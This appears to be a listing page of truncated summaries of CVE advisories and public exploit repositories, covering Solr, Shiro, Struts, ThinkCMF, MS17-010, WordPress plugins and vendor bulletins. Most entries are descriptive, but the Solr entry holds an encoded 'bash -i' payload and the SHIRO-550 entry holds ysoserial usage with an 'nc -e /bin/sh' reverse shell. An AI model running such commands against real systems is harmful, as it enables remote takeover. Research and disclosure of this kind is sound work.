CVE-2026-103768

The ELEX WordPress HelpDesk & Customer Ticketing System plugin for WordPress is vulnerable to Arbitrary File Upload in all versions up to, and including, 3.3.7 via the initMailPart function. This is due to insufficient file type validation when saving IMAP email attachments. This makes it possibl...

webuploader-0.1.15-Demo

webuploader-v-0.1.15 Component Has an Unauthorized File Upload Vulnerability Introduction: Baidu's WebUploader component has a file upload vulnerability. This vulnerability is caused by the upload page of the WebUploader component not strictly filtering file types or file extensions. Attackers ca...

Vulnerabilities found in IBM DataPower Gateway and its underlying components

IBM has addressed several security issues in DataPower Gateway versions 10.5 through 11.0, along with numerous underlying components. The vulnerabilities involve a wide range of problems, such as use-after-free bugs, race conditions, buffer overflows, null pointer dereferences, integer overflows,...

solr_rce

Apache Solr RCE via Velocity template python usage: python solrrce.py http://x.x.x.x:8983 command getshell encode payload http://www.jackson-t.ca/runtime-exec-payloads.html whoami bash -c echo,d2hvYW1p|base64,-d|bash,-i 0x01 Introduction to Solr Solr is an open-source enterprise search platform...

[SECURITY] [DSA 6566-1] expat security update

------------------------------------------------------------------------- Debian Security Advisory DSA-6566-1 [email protected] https://www.debian.org/security/ Salvatore Bonaccorso October 16, 2026 https://www.debian.org/security/faq -...

ThinkCMF_getshell

ThinkCMFgetshell - Arbitrary File Inclusion Vulnerability in the ThinkCMF Framework A remote attacker can execute arbitrary code on the remote server by crafting a specific request packet without requiring any privileges. Python usage: + python ThinkCMFgetshell.py http://x.x.x.x/ python...

SHIRO-721

SHIRO-721 RememberMe Padding Oracle Vulnerability RCE 0x00 Introduction: The RememberMe cookie is encrypted using AES-128-CBC mode, which is vulnerable to padding oracle attacks. An attacker can use a valid RememberMe cookie as a prefix for a Padding Oracle Attack, and then craft a malicious...

CVE-2026-33937

This post is a research article published by EQSTLab. Referenced PoC: dinhvaren/cve-2026-33937 CVE-2026-33937 ★ CVE-2026-33937 Handlebars.js AST Injection Remote Code Execution PoC ★ https://github.com/user-attachments/assets/99e383e7-e71f-4e10-8c62-f50abff8b4f5 Description CVE-2026-33937 :...

SHIRO-550

Shiro RememberMe 1.2.4 Deserialization Vulnerability SHIRO-550 commons-collections-3.2.1.jar java -jar ysoserial-0.0.6-SNAPSHOT-all.jar JRMPClient "10.10.20.166:12345" |python exp.py java -cp ysoserial-0.0.6-SNAPSHOT-all.jar ysoserial.exploit.JRMPListener 12345 CommonsCollections5 'nc -e /bin/sh...

st2-048

St2-048 Remote Code Execution Vulnerability Apache Struts 2 possible RCE in the Struts Showcase app in the Struts 1 plugin example in the Struts 2.3.x series http://struts.apache.org/docs/s2-048.html https://cwiki.apache.org/confluence/display/WW/S2-048 Use-Age: python St2-048.py set url :...

Vulnerabilities in Juniper Networks Junos OS

Juniper has identified several vulnerabilities in Junos OS. These vulnerabilities exist in various components of Junos OS, including the VXLAN Gateway Daemon vgd, kmd on MX Series routers, the SDK service with JDAF routing, the TWAMP client rmopd service, the gRPC library, the ipfd daemon on SRX...

WSO2-2021-1259

WSO2-2021-1259: H2 RCE via Malicious JDBC Connection String in WSO2 ESB Due to the improper input validation, a remote code execution attack could be carried out using malicious H2 JDBC Connection Strings. Vendor Disclosure: The vendor's disclosure and fix for this vulnerability can be found here...

MAGNOLIA-8281

MAGNOLIA-8281: FreeMarker Restriction Bypass 2 in Magnolia CMS An issue in the FreeMarker Filter of Magnolia CMS v6.2.16 and below allows attackers to bypass security restrictions and read/write/move/copy/delete arbitrary files via a crafted FreeMarker payload. Arbitrary code execution was...

MS17-010

MS17-010 This repository is for public my work on MS17-010. I have no plan to do any support. All support issues will not get response from me. Files BUG.txt MS17-010 bug detail and some analysis checker.py Script for finding accessible named pipe eternalblueexploit7.py Eternalblue exploit for...

Unauthenticated-Remote-Code-Execution-RCE---Poultry-Farm-Management-System-v1.0

Exploit Title: Unauthenticated Remote Code Execution RCE - Poultry Farm Management System v1.0 Date: 24-06-2024 CVE: CVE-2024-40110 EDB-ID: 52053 Exploit Author: Jerry Thomas w3bn00b3r Vendor Homepage: https://www.sourcecodester.com/php/15230/poultry-farm-management-system-free-download.html...

jvmtiAgentLoad-Exploit

Arbitrary code execution via jvmtiAgentLoad Description: Tools and code for generating a malicious JAR to exploit jvmtiAgentLoad Usage: $ bash createjar.sh Usage: createjar.sh Supported TARGETOS options: linux|windows Linux Target The following command generates a JAR mal.jar that can be used on ...

RCE-RealEstateVIDEOPOC

This repository does not have a README...

MAL-005

MAL-005: Zip Slip in Add Carbon Applications in WSO2 ESB A ZIP file based directory traversal Zip Slip vulnerability was identified in the "Carbon Applications" add feature of WSO2 ESB. Remote code execution may be obtained by writing/overwriting specific files. Why no CVE? The vendor replied tha...

MAL-003

MAL-003: Groovy Security Bypass and Stored XSS in Apache OfBiz A Groovy RCE and XSS have been identified in Apache OfBiz = 18.12.05. Why no CVE? Apache OfBiz does not create CVEs for "post-auth attacks done using demo credentials, notably using the admin user" as mentioned on their security page...

CVE-2024-12252

CVE-2024-12252 SEO LAT Auto Post = 2.2.1 - Missing Authorization to File Overwrite/Upload Remote Code Execution Description The SEO LAT Auto Post plugin for WordPress is vulnerable to file overwrite due to a missing capability check on the remoteupdate AJAX action in all versions up to, and...